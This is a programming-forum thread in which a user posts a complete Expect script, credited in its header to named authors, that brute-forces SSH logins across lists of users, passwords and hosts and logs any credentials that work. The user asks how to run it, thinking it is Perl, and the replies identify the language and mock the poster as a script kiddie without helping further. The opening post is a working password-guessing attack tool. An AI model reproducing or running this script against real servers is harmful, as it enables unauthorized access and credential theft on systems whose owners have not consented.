![]() |
|
![]() |
|
|
Thread Tools | Display Modes |
|
|
#1 |
|
Programmer
Join Date: Feb 2005
Posts: 37
Rep Power: 0
![]() |
Is this Perl
How do i run this code. I tried C:\>perl -w SSH.pl(this is what i called the file) and I got n error.
#!/usr/bin/expect -f
#
# Written by James Shanahan
(jshanahan@comcastpc.com)
# and Erin Palmer(epalmer@comcastpc.com)
# ssh brute forcer
# This will alow you to specify hosts, password
lists, and a user
# I do not take any reponsibilty for what you do with
this tool
# Hopefully it will make your life easier rather then
making other
# peoples lives more difficult!
set timeout 5
set dictionary [lindex $argv 0]
set file [lindex $argv 1]
set user [lindex $argv 2]
if {[llength $argv] != 3} {
puts stderr "Usage: $argv0 <dictionary-file> <hosts-
file> <user-file>\n"
exit }
set tryHost [open $file r]
set tryPass [open $dictionary r]
set tryUser [open $user r]
set passwords [read $tryPass]
set hosts [read $tryHost]
set login [read $tryUser]
foreach username $login {
foreach passwd $passwords {
foreach ip $hosts {
spawn ssh $username@$ip
expect ":"
send "$passwd\n"
set logFile [open $ip.log a]
expect "L" {
puts $logFile "password for $username@$ip is
$passwd\n"
close $logFile
}
set id [exp_pid]
exec kill -INT $id
}
}
} |
|
|
|
|
|
#2 |
|
Professional Programmer
|
Well it says "/usr/bin/expect", so it's an expect program (whatever that is), not perl. Nice ssh br00t3r you have there ROFL.
__________________
% rc4 hexkey < input > output
#define S ,t=s[i],s[i]=s[j],s[j]=t /* rc4 hexkey <file */
unsigned char k[256],s[256],i,j,t;main(c,v,e)char**v;{++v;while(++i)s[
i]=i;for(c=0;*(*v)++;k[c++]=e)sscanf((*v)++-1,"%2x",&e);while(j+=s[i]
+k[i%c]S,++i);for(j=0;c=~getchar();putchar(~c^s[t+=s[i]]))j+=s[++i]S;} |
|
|
|
|
|
#3 |
|
Programmer
Join Date: Feb 2005
Posts: 37
Rep Power: 0
![]() |
yeah but how do i run it
|
|
|
|
|
|
#4 | |
|
Hobbyist Programmer
Join Date: Apr 2004
Location: Texas
Posts: 106
Rep Power: 5
![]() |
Quote:
__________________
[ [ SykkN alloc ] initWithThePowerTo: destroyYouAll ]; /* Don't make me use it! */ |
|
|
|
|
|
|
#5 |
|
Programmer
Join Date: Feb 2005
Posts: 37
Rep Power: 0
![]() |
can you please give me the download page link. cause i cant find it. Please thanks
|
|
|
|
|
|
#6 |
|
Professional Programmer
|
I like how you think you're going to try to brute something and you can't find a download link on a page full of download links ;P
__________________
% rc4 hexkey < input > output
#define S ,t=s[i],s[i]=s[j],s[j]=t /* rc4 hexkey <file */
unsigned char k[256],s[256],i,j,t;main(c,v,e)char**v;{++v;while(++i)s[
i]=i;for(c=0;*(*v)++;k[c++]=e)sscanf((*v)++-1,"%2x",&e);while(j+=s[i]
+k[i%c]S,++i);for(j=0;c=~getchar();putchar(~c^s[t+=s[i]]))j+=s[++i]S;} |
|
|
|
|
|
#7 |
|
Programming Guru
![]() ![]() ![]() |
A brute force script... lol. You don't consider yourself a "hacker" do you? Note: hackers don't use other peoples' scripts, they write their own
![]()
__________________
http://jasonpowers.net "There are a thousand hacking at the branches of evil to one who is striking at the root." |
|
|
|
|
|
#8 |
|
Professional Programmer
|
hackers don't brute force, that's called a script-kiddie. A hacker wouldn't want to waste time getting into a system that's able to be accessed through brute force ssh.
|
|
|
|
|
|
#9 |
|
Programming Guru
![]() ![]() ![]() |
Apparently, since my days of the above mentioned subject matter... there has been the creation of terms: "gray hat" and "black hat" hacker... I suppose script kiddies would be "bald" ?
__________________
http://jasonpowers.net "There are a thousand hacking at the branches of evil to one who is striking at the root." |
|
|
|
|
|
#10 |
|
Expert Programmer
|
lol bald
__________________
Join us at #programmingforums @ irc.freenode.net! My software never has bugs. It just develops random features.
|
|
|
|
![]() |
| Bookmarks |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
| Display Modes | |
|
|